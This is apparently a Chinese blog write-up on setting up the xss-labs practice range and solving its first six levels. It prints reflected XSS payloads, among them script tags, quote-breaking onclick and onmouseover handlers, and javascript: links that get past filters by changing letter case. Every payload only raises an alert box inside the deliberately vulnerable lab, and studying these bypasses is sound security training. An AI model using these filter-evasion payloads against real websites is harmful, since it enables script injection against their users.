当前位置:网站首页>xss-labs-master靶场环境搭建与1-6关解题思路
xss-labs-master靶场环境搭建与1-6关解题思路
2022-07-02 09:41:00 【阿文、...】
环境搭建
1、靶场地址
2、小皮面板
3、windows机器
4、把压缩包解压,放在www目录下,然后访问即可

实验步骤
第一关


直接输入就行:<script>alert('xss')</script>
第二关


"> <script>alert('xss')</script><"闭合前面同时也闭合后面的内容

第三关
使用上面的弹窗语句,发现被转义了
拿出函数后,发现双引号已经被注释成"
<input name="keyword" value=""><script>alert("xss")</script><"">

发现双引号被转义后,我们尝试使用单引号绕过,但是<又被转义了,我真的是服了
输入参数:'><script>alert('xss')</script><'
页面参数:<input name="keyword" value="" ><script>alert('xss')<="" script><''="">
查看源码发现一个奇怪的参数
我们看看他的含义,发现就是转义函数
htmlspecialchars
换个参数,' onclick="alert('xxs') ',表示当用户点击方框后弹窗

他单引号转成双引号恰恰是我们需要的,改一下poc' onclick='alert(/xxs/) '
过!
当然,你也可以使用另一个事件绕过:'onmouseover='alert(/当鼠标悬停时弹窗/)',同样的把单引号换成斜杠!
测试的时候建议本地搭建环境,只有本地能弹窗,靶场才可能弹窗
第四关
套用上面的代码,发现过不了
f12检查,发现前后两端是双引号,我们把单引号改成双引号试试
" οnclick="alert(/xxs/) "
点击方框后,成功过关
第五关
老规矩,吃老本
这里很奇怪啊,为什么会转义第一个字母,模糊测试试了一下。

看一下源码,这里匹配的很硬核啊
由于懒得折腾,<script>和on开头的函数我不会再用了,哈哈
我用a标签试试
"><a href=javascript:alert(1)>
点后面的括号,直接过!
第六关
老规矩,吃老本
"><a href=javascript:alert(1)>

这里的href被转义成了hr_ef,用大小写绕过


看看源码,多了两个匹配项目
先到这里,后期情况更新
边栏推荐
- Analyse de l'industrie
- Order by injection
- Fabric.js 3个api设置画布宽高
- C#基于当前时间,获取唯一识别号(ID)的方法
- 可升级合约的原理-DelegateCall
- MySQL linked list data storage query sorting problem
- 6. Introduce you to LED soft film screen. LED soft film screen size | price | installation | application
- 多文件程序X32dbg动态调试
- How to Create a Nice Box and Whisker Plot in R
- PHP 2D and multidimensional arrays are out of order, PHP_ PHP scrambles a simple example of a two-dimensional array and a multi-dimensional array. The shuffle function in PHP can only scramble one-dim
猜你喜欢

Principe du contrat évolutif - delegatecall

Pyqt5+opencv project practice: microcirculator pictures, video recording and manual comparison software (with source code)

亚马逊云科技 Community Builder 申请窗口开启

Digital transformation takes the lead to resume production and work, and online and offline full integration rebuilds business logic
![[visual studio 2019] create MFC desktop program (install MFC development components | create MFC application | edit MFC application window | add click event for button | Modify button text | open appl](/img/6a/111da81436659c7502648907ec1367.jpg)
[visual studio 2019] create MFC desktop program (install MFC development components | create MFC application | edit MFC application window | add click event for button | Modify button text | open appl

How to Create a Nice Box and Whisker Plot in R

Redis超出最大内存错误OOM command not allowed when used memory &gt; 'maxmemory'

Seriation in R: How to Optimally Order Objects in a Data Matrice

How to Create a Beautiful Plots in R with Summary Statistics Labels

TDSQL|就业难?腾讯云数据库微认证来帮你
随机推荐
Is it safe to open a stock account online? I'm a novice, please guide me
File operation (detailed!)
Introduction to interface debugging tools
Summary of data export methods in powerbi
JS -- take a number randomly from the array every call, and it cannot be the same as the last time
基于Hardhat和Openzeppelin开发可升级合约(二)
Is the stock account given by qiniu business school safe? Can I open an account?
MySQL basic statement
行业的分析
deepTools对ChIP-seq数据可视化
Analyse de l'industrie
Data analysis - Matplotlib sample code
bedtools使用教程
HOW TO CREATE A BEAUTIFUL INTERACTIVE HEATMAP IN R
Develop scalable contracts based on hardhat and openzeppelin (II)
Map set assignment to database
How to Easily Create Barplots with Error Bars in R
Principle of scalable contract delegatecall
MySql存储过程游标遍历结果集
亚马逊云科技 Community Builder 申请窗口开启